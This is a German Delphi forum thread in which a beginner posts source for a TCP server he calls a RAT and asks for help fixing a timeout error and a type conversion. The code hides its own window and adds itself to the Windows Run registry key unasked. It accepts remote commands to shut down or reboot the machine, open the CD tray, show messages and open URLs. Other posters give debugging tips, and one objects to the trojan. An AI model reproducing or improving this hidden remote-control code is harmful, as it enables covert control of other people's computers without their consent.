es kommt immer fehlermeldung beim befehle sende

[the_seed]

Hi hab mir einen kleinen idtcp server zusammen gebastelt , soll eigentlich ein rat werden, ich bin noch anfänger und weiss noch nicht so gut darüber bescheid.. wenn ich einen befehl vom clienten her schicke wird er zwar ausgeführt aber ca. 7sek dannach kommt eine fehlermeldung,

"Im ... ist eine exception der klasse eldterminate Thread timeout aufgetreten Meldung: 'Zeitüberschreitung bei beendung von thread' Prozess wurde angehalten ....

Delphi-Quellcode:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent,registry, IdComponent, IdTCPServer, ExtCtrls,shellapi,mmsystem,
  IdAntiFreezeBase, IdAntiFreeze;

type
  TForm1 = class(TForm)
    IdTCPServer1: TIdTCPServer;
    IdAntiFreeze1: TIdAntiFreeze;
    procedure IdTCPServer1Execute(AThread: TIdPeerThread);
    procedure FormCreate(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

uses Unit2;

{$R *.dfm}

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var m,u,param,p:string;
label st,lol,cht,ever,ende,url,n1,n2;
var reg:tregistry;
sSite: String;
begin

m := aThread.Connection.Readln;
if m='n' then goto lol;
if m='log' then ExitWindowsEx(EWX_LOGOFF, 0);
if m='new' then ExitWindowsEx(EWX_REBOOT, 0);
if m='down' then ExitWindowsEx(EWX_SHUTDOWN, 0);
if m='close' then goto ende;
if m='url' then goto url;
if m='cd1' then mciSendString('Set cdaudio door open wait', nil, 0, handle);
if m='cd2' then mciSendString('Set cdaudio door closed wait', nil, 0, handle);
if m='n1' then goto n1;
if m='n2' then goto n2;
if m='cht' then form2.show;
begin

lol:
begin
try
u := aThread.Connection.Readln;
showmessage(u);
except end;
end;

n1:
begin
try
Param := 'start messenger';
ShellExecute (GetDesktopWindow, 'open', 'net.exe', PChar(Param), nil, SW_HIDE);
finally end;

n2:
begin
try
Param := 'stop messenger';
ShellExecute (GetDesktopWindow, 'open', 'net.exe', PChar(Param), nil, SW_HIDE);
finally end;

ende:
begin
try
idtcpserver1.active:=false;
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.DeleteValue('form1');
Reg.Destroy;
finally
end;


url:
begin
try
u := aThread.Connection.Readln;
sSite := Trim(u);
if Pos('://', sSite) <= 0 then
sSite := 'http://' + sSite;
ShellExecute(Form1.Handle, 'open', PChar(sSite), nil, nil, SW_SHOWNORMAL);
finally
end;
end;
end;
end;
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  hwndOwner: HWnd;
    Reg: TRegistry;
begin
  try
  hwndOwner := GetWindow(Handle, GW_OWNER);
  ShowWindow(hwndOwner, SW_HIDE);
  ShowWindowAsync(hwndOwner, SW_HIDE);
  ShowWindowAsync(Self.Handle, SW_HIDE);

   Reg := TRegistry.Create;
  Reg.RootKey := HKEY_CURRENT_USER;
  Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
  Reg.WriteString('form1', ParamStr(0));
  Reg.Destroy;
  finally end;

end;
end.

Bitte um hilfe..

[BungeeBug]

HI,

der Server bricht die Verbindung ab weil nix los ist .. timeout eben ... du solltest ein "noop" Command einführen was jede Sekunde geschickt wird um die Verbindung zuhalten aber nix tut.

Auserdem ist dein Programmierstil mit "goto" mehr als schlecht. Sorry. Im normal Fall nimmt man für sowas den CASE Befehl da mit Goto's sehr schnell Chaos entstehen kann was am Ende von niemandem mehr beseitigt werden kann ...

[Sharky]

Hai the_seed,

gib mal bitte eine Erklärung:

a) Was soll das für ein Programm sein
b) Warum trägt es sich ungefragt beim Start in den RUN-Key ein?

Solche "Art" von Programmen unterstütze ICH grundsätzlich nicht.
.
.
.
Und ich hoffe andere auch nicht

[the_seed]

@sharky

Zitat:

...soll eigentlich ein rat werden...

das sollte deine Frage beantworten...


@bungeebug
Bin noch Newbie hab nicht recht gewusst wie ich es anstellen soll, habs jetzt aber so gelöst:

Code:

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var m,u,param,o,p:string;
label st,lol,cht,ever,ende,url,n1,n2;
var reg:tregistry;
sSite: String;
begin

m := aThread.Connection.Readln;
if m='n' then
begin
u := aThread.Connection.Readln;
showmessage(u);
end

else
if m='log' then
begin
ExitWindowsEx(EWX_LOGOFF, 0);
end

else
if m='new' then
begin
ExitWindowsEx(EWX_REBOOT, 0);
end

usw. usw............................

Habe aber noch ein Problem , wenn ich die Message als "MessageBox" rausgeben lassen will, kommt bei mir imer fehler - Inkompatible Typen... ( Pansichar und String)....

Wie bekomm ich Pansichar in einen String??

[mirage228]

Mit dem simplen Typecast:

  PAnsiChar(DeinString); mfG
mirage228

[the_seed]

@mirage... war misstverständnis ich meinte es anders herum , pansichar inen string, muss das dann so heissen string(PansiChar) ? <- da kommt nähmlich auch meldung inkompatibel...

[mirage228]

Soweit ich weiss kannst du
  MyString := MyPAnsiChar; schreiben.

mfG
mirage228